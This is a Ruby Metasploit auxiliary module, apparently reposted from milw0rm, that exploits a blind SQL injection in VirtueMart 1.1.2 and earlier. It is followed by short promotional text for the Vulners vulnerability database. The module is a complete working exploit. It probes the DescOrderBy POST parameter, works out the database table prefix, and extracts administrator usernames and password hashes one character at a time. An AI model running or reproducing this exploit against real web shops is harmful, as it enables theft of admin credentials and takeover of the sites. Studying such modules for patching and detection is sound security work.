require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'VirtueMart <= 1.1.2 Sql Injection Exploit',
'Description' => %q{
This module exploits VirtueMart <= 1.1.2 Blind Sql Injection vulnerability.
},
'Author' => 'Janek Vind "waraxe" <come2waraxe[at]yahoo.com>',
'License' => MSF_LICENSE,
'Version' => '1.0',
'References' =>
[
['BID', '33480'],
['URL', 'http://www.waraxe.us/advisory-71.html'],
['URL', 'http://secunia.com/advisories/33671/']
],
'DisclosureDate' => 'Jan 24 2009'))
register_options(
[
OptString.new('URI', [false, 'Path to VirtueMart', '']),
OptInt.new('TARGETID', [false, 'Target ID (optional)']),
OptString.new('PREFIX', [false, 'Database table prefix (optional)', 'jos_']),
OptBool.new('ALLSA', [ false, 'Fetch all Super Admins', true]),
OptBool.new('ALLA', [ false, 'Fetch all Admins', false]),
OptBool.new('ALLM', [ false, 'Fetch all Managers', false]),
], self.class)
end
def run
@marker = 'name="addtocart"'
@target_uri = '/' + datastore['URI'] + '/'
@target_uri = @target_uri.gsub(/\/{2,}/, '/')
@target_id = datastore['TARGETID']
@target_prefix = datastore['PREFIX']
@requests = @fetched = 0
time_start = Time.now.to_i
# debug_level=2 - more debug messages, 1 - less
@debug_level = 1
if(!pre_test)
print_error('Exploit failed in pre-test phase')
return
end
if(datastore['ALLSA'])
if(!get_users(1))
print_error('Exploit failed fetching Super Admins')
return
end
end
if(datastore['ALLA'])
if(!get_users(2))
print_error('Exploit failed fetching Admins')
return
end
end
if(datastore['ALLM'])
if(!get_users(3))
print_error('Exploit failed fetching Managers')
return
end
end
if((@target_id < 1) and (!datastore['ALLSA']) and (!datastore['ALLA']) and (!datastore['ALLM']))
print_status('Target ID or group(s) not specified, fetching Super Admins as default')
if(!get_users(1))
print_error('Exploit failed fetching Super Admins')
return
end
end
if(@target_id > 1)
if(!get_user())
print_error("Exploit failed fetching user with ID=#{@target_id}")
return
end
end
time_spent = Time.now.to_i - time_start
print_status("Exploitation results:")
print_status("Got data for #{@fetched} users")
print_status("Total time spent: #{time_spent} seconds")
print_status("HTTP requests needed: #{@requests}")
end
############################################################
def make_post(post_data)
timeout = 30
begin
res = send_request_cgi({
'uri' => @target_uri,
'method' => 'POST',
'data' => post_data,
}, timeout)
if(res and res.body)
@requests += 1
return res.body
else
print_error('No response from server')
return nil
end
rescue ::Exception
print_error("Error: #{$!.class} #{$!}")
return nil
end
end
############################################################
def test_condition(condition)
max_tries = 10
post_data = "page=shop.browse&option=com_virtuemart&vmcchk=1&DescOrderBy=,"
post_data << "IF(#{condition},1,(SELECT 1 UNION ALL SELECT 1))"
1.upto(max_tries) do |i|
buf = make_post(post_data)
if(buf)
return buf.include?(@marker)
else
print_status("Sleeping #{i} seconds")
sleep(i)
print_status("Awake, retry ##{i}")
end
end
return nil
end
############################################################
def pre_test
post_data = 'page=shop.browse&option=com_virtuemart&vmcchk=1'
buf = make_post(post_data) or return false
if(!buf.include?(@marker))
print_error('Pre-test 1 failed - VirtueMart not detected')
return false
else
print_status('Pre-test 1 passed - VirtueMart detected')
end
post_data = 'page=shop.browse&option=com_virtuemart&vmcchk=1&DescOrderBy=,'
buf = make_post(post_data) or return false
if(buf.include?(@marker))
print_error('Pre-test 2 failed - target is patched?')
return false
else
print_status('Pre-test 2 passed - injection detected')
end
post_data = 'page=shop.browse&option=com_virtuemart&vmcchk=1&DescOrderBy=,(SELECT 1)'
buf = make_post(post_data) or return false
if(!buf.include?(@marker))
print_error('Pre-test 3 failed - subselects not supported?')
return false
else
print_status('Pre-test 3 passed - subselects supported')
end
if(@target_prefix == '')
print_status('Prefix not provided, trying to fetch')
@target_prefix = get_prefix
if(!@target_prefix)
print_error('Prefix fetch failed')
return false
else
print_status("Prefix fetched: #{@target_prefix}")
return true
end
end
post_data = "page=shop.browse&option=com_virtuemart&vmcchk=1&DescOrderBy=," +
"(SELECT 1 FROM #{@target_prefix}users LIMIT 1)"
buf = make_post(post_data) or return false
if(!buf.include?(@marker))
print_error('Pre-test 4 failed - wrong prefix?')
print_status('Trying to fetch valid prefix')
@target_prefix = get_prefix
if(!@target_prefix)
print_error('Prefix fetch failed')
return false
else
print_status("Prefix fetched: #{@target_prefix}")
return true
end
else
print_status('Pre-test 4 passed - prefix OK')
end
return true
end
############################################################
def get_char(pattern, min, max)
num = get_num(pattern, min, max) or return nil
return num.chr
end
############################################################
def get_hash(group = nil, u_pos = nil)
hash = ''
if(group and u_pos)
pattern = "(SELECT LENGTH(password)FROM #{@target_prefix}users WHERE usertype=#{group} ORDER BY id ASC LIMIT #{u_pos},1)"
else
pattern = "(SELECT LENGTH(password)FROM #{@target_prefix}users WHERE id=#{@target_id})"
end
p_len = get_num(pattern, 32, 100) or return nil
print_status("Got hash length: #{p_len.to_s}")
1.upto(p_len) do |pos|
print_status("Finding hash char pos #{pos}") if @debug_level > 0
if(group and u_pos)
pattern = "(SELECT ORD(SUBSTR(password,#{pos},1))FROM #{@target_prefix}users WHERE usertype=#{group} ORDER BY id ASC LIMIT #{u_pos},1)"
else
pattern = "(SELECT ORD(SUBSTR(password,#{pos},1))FROM #{@target_prefix}users WHERE id=#{@target_id})"
end
c = get_char(pattern, 32, 128) or return nil
hash << c
print_status("Known: #{hash}") if @debug_level > 0
end
return hash
end
############################################################
def get_prefix
prefix = ''
post_data = 'page=shop.browse&option=com_virtuemart&vmcchk=1&DescOrderBy=,' +
'(SELECT 1 FROM INFORMATION_SCHEMA.TABLES LIMIT 1)'
buf = make_post(post_data) or return false
if(!buf.include?(@marker))
print_error('INFORMATION_SCHEMA not found - mysql < 5.0?')
return false
else
print_status('INFORMATION_SCHEMA detected, proceed')
end
pattern = '(SELECT LENGTH(table_name)FROM INFORMATION_SCHEMA.TABLES' +
' WHERE table_name LIKE 0x25766d5f70726f64756374 ORDER BY table_name ASC LIMIT 0,1)'
p_len = get_num(pattern, 5, 100) or return nil
p_len -= 10
if(p_len < 0)
print_error("Invalid prefix length: #{p_len.to_s}")
return false
elsif(p_len == 0)
print_status('Prefix seems to be empty')
@target_prefix = ''
return true
else
print_status("Got prefix length: #{p_len.to_s}")
end
1.upto(p_len) do |pos|
print_status("Finding prefix char pos #{pos}") if @debug_level > 0
pattern = "(SELECT ORD(SUBSTR(table_name,#{pos},1))FROM INFORMATION_SCHEMA.TABLES" +
" WHERE table_name LIKE 0x25766d5f70726f64756374 ORDER BY table_name ASC LIMIT 0,1)"
c = get_char(pattern, 32, 128) or return nil
prefix << c
print_status("Known: #{prefix}") if @debug_level > 0
end
return prefix
end
############################################################
def get_num(pattern, min = 1, max = 100)
curr = 0;
while(1)
area = max - min
if(area < 2 )
post_data = "#{pattern}=#{max}"
eq = test_condition(post_data)
if(eq == nil)
return nil
elsif(eq)
len = max
else
len = min
end
break
end
half = area / 2
curr = min + half
post_data = "#{pattern}>#{curr}"
bigger = test_condition(post_data)
if(bigger == nil)
return nil
elsif(bigger)
min = curr
else
max = curr
end
print_status("Current: #{min}-#{max}") if @debug_level > 1
end
return len
end
############################################################
def get_username(group = nil, u_pos = nil)
username = ''
if(group and u_pos)
pattern = "(SELECT LENGTH(username)FROM #{@target_prefix}users WHERE usertype=#{group} ORDER BY id ASC LIMIT #{u_pos},1)"
else
pattern = "(SELECT LENGTH(username)FROM #{@target_prefix}users WHERE id=#{@target_id})"
end
u_len = get_num(pattern, 1, 150) or return nil
print_status("Got username length: #{u_len.to_s}")
1.upto(u_len) do |pos|
print_status("Finding username char pos #{pos}") if @debug_level > 0
if(group and u_pos)
pattern = "(SELECT ORD(SUBSTR(username,#{pos},1))FROM #{@target_prefix}users WHERE usertype=#{group} ORDER BY id ASC LIMIT #{u_pos},1)"
else
pattern = "(SELECT ORD(SUBSTR(username,#{pos},1))FROM #{@target_prefix}users WHERE id=#{@target_id})"
end
c = get_char(pattern, 32, 128) or return nil
username << c
print_status("Known: #{username}") if @debug_level > 0
end
return username
end
############################################################
def get_users(group)
if(group == 1)
usertype = '0x53757065722041646d696e6973747261746f72'
print_status('Starting to fetch all Super Admins')
elsif(group == 2)
usertype = '0x41646d696e6973747261746f72'
print_status('Starting to fetch all Admins')
else
usertype = '0x4d616e61676572'
print_status('Starting to fetch all Managers')
end
pattern = "(SELECT COUNT(username)FROM #{@target_prefix}users WHERE usertype=#{usertype})"
u_cnt = get_num(pattern, 0, 100) or return nil
print_status("Targets to fetch: #{u_cnt.to_s}")
0.upto(u_cnt - 1) do |pos|
print_status("Fetching user pos #{pos}")
username = get_username(usertype, pos) or return nil
hash = get_hash(usertype, pos) or return nil
@fetched += 1
print_status(
"Got user data:" +
"\n==============================\n" +
"Username: #{username}\n" +
"Hash: #{hash}" +
"\n=============================="
)
end
return true
end
############################################################
def get_user
print_status("Testing user ID=#{@target_id}")
pattern = "(SELECT COUNT(username)FROM #{@target_prefix}users WHERE ID=#{@target_id})"
u_cnt = get_num(pattern, 0, 100) or return nil
if(u_cnt != 1)
print_error("No user with ID=#{@target_id}")
return true
end
print_status("Working with user ID=#{@target_id}")
username = get_username or return nil
hash = get_hash or return nil
@fetched += 1
print_status(
"Got user data:" +
"\n==============================\n" +
"Username: #{username}\n" +
"Hash: #{hash}" +
"\n=============================="
)
return true
end
############################################################
end
# milw0rm.com [2009-03-31]Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation